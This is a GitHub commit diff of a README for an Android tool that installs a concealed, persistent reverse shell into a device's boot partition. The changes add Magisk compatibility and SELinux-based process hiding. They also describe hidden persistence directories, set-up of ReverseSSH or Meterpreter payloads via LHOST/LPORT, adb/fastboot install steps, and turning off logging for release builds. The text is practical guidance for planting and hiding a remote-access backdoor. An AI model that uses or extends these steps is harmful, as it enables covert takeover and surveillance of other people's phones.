You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.MD
+21-12Lines changed: 21 additions & 12 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -27,6 +27,8 @@ MIUI 11.0.2 | 7 | rootfs
27
27
LineageOS 17.1 | 10 | 2SI
28
28
LineageOS 19.0 | 12 | 2SI
29
29
30
+
_Note_: if Magisk is installed on SAR or 2SI device, this tool will fallback to Magisk's `overlay.d`. It will use standard `magisk` context which is not hidden by SELinux policy. In this case, setting `hide_process_bind` is recommended (see `config.prop`).
31
+
30
32
## Features & Improvements
31
33
32
34
- Installs entirely into _/boot_, does not modify _/system_ in any way
@@ -36,20 +38,20 @@ LineageOS 19.0 | 12 | 2SI
36
38
- Installation and backup no longer depend on _/data_
37
39
- Installation takes much less time
38
40
- Cut artifacts and unused code left from Magisk
41
+
- Compatible with Magisk on device
39
42
40
43
## Limitations
41
-
- Incompatible with Magisk, causing bootloop
42
44
- Not hidden from root (files, mounts, etc.)
43
45
- On some systems _logcat_ may log random service name on boot
44
46
- Sockets (if any) are not hidden, though specific process using network is
47
+
- Not hidden by SELinux policy if installed with Magisk on SAR / 2SI device
45
48
46
49
## Prerequisites
47
50
48
51
- Python 3
49
52
- Android SDK
50
53
- ADB / Fastboot tools
51
54
- Custom recovery image for your device (TWRP is recommended)
52
-
-#### **No Magisk installed on device!**  (compatibility issues cause bootloop)
53
55
54
56
## Build
55
57
@@ -75,7 +77,7 @@ The result is a sideloadable _.zip_ package which can be installed with TWRP or
75
77
76
78
_Note_: if using reverse shell payloads (such as ReverseSSH, Meterpreter, etc.), set your LHOST and LPORT in `config.prop` before building.
77
79
78
-
_Note_: if SELinux is _permissive_ or _off_ on the target device, you can use alternative hiding method. See `config.prop` for details.
80
+
_Note_: if SELinux is _permissive_ or _off_ on the target device or you have Magisk, you can use alternative hiding method. See `config.prop` for details.
79
81
80
82
_Note_: you can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.
81
83
@@ -99,18 +101,22 @@ At this moment, **do not reboot** right away. Backup original boot partition:
99
101
$ adb pull /tmp/backup_original_partitions .
100
102
```
101
103
102
-
Run the command **before** rebooting into system, otherwise you will not be able to uninstall this tool properly and will have to find stock boot image for your device somewhere and flash it.
104
+
Run the command **before** rebooting into system, otherwise you might not be able to fully restore stock boot image.
103
105
104
106
Reboot into system after you have backups on your PC.
105
107
106
108
#### Uninstall
107
109
108
-
You need a backup of original partitions made during installation. Move it to _/tmp_:
110
+
You have two options to uninstall this tool: **restore /boot image** using backup or **revert modifications in-place**.
111
+
112
+
To restore the image, push a backup of the original partitions made during installation to _/tmp_:
109
113
```
110
114
$ adb push backup_original_partitions /tmp/
111
115
```
112
116
113
-
Start sideload feature in Advanced / Sideload and then run:
117
+
If you don't have a backup image or don't need to keep /boot signed, you can proceed without backups. In this case, uninstall script will attempt to restore _init_ in-place.
118
+
119
+
Start sideload feature in Advanced / ADB Sideload and then run:
114
120
```
115
121
$ adb sideload zip_reverse_shell_uninstall.zip
116
122
```
@@ -130,13 +136,10 @@ Before running one, rename or symlink your TWRP image as `twrp` in your current
130
136
Simply connect your device via USB and switch it into Fastboot mode.
131
137
After installation, backups will be saved automatically.
132
138
133
-
`install.sh` to install and save backup image. \
134
-
`reinstall.sh` to reinstall quickly (if you have the backup).\
135
-
`uninstall.sh` to restore original boot image from backup.
139
+
`install.sh` to install or reinstall. \
140
+
`uninstall.sh` to uninstall: either restore boot image from backup or uninstall directly.
136
141
137
-
#### In case installation script crashes, make sure you pull backups manually when prompted!
138
-
139
-
#### _Warning_: avoid double installation as it will cause bootloop! Reinstall (uninstall and install again) instead.
142
+
#### In case installation script crashes, make sure you pull backups manually when prompted! (see TWRP console)
140
143
141
144
## Test
142
145
@@ -167,6 +170,12 @@ $ adb logcat | grep revshell
167
170
03-18 00:35:01.312 3197 3197 D revshell: tick ! 15 seconds since process started
168
171
```
169
172
173
+
On boot, temp and persistence directories are created:
174
+
-`/mnt/secure/temp` - protected directory in _tmpfs_
175
+
-`/data/adb/.fura` - directory to store arbitrary files persistently
176
+
177
+
Both directories are protected by SELinux policy, so they might be inaccessible even to root (depends on the stock policy).
178
+
170
179
You can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.
0 commit comments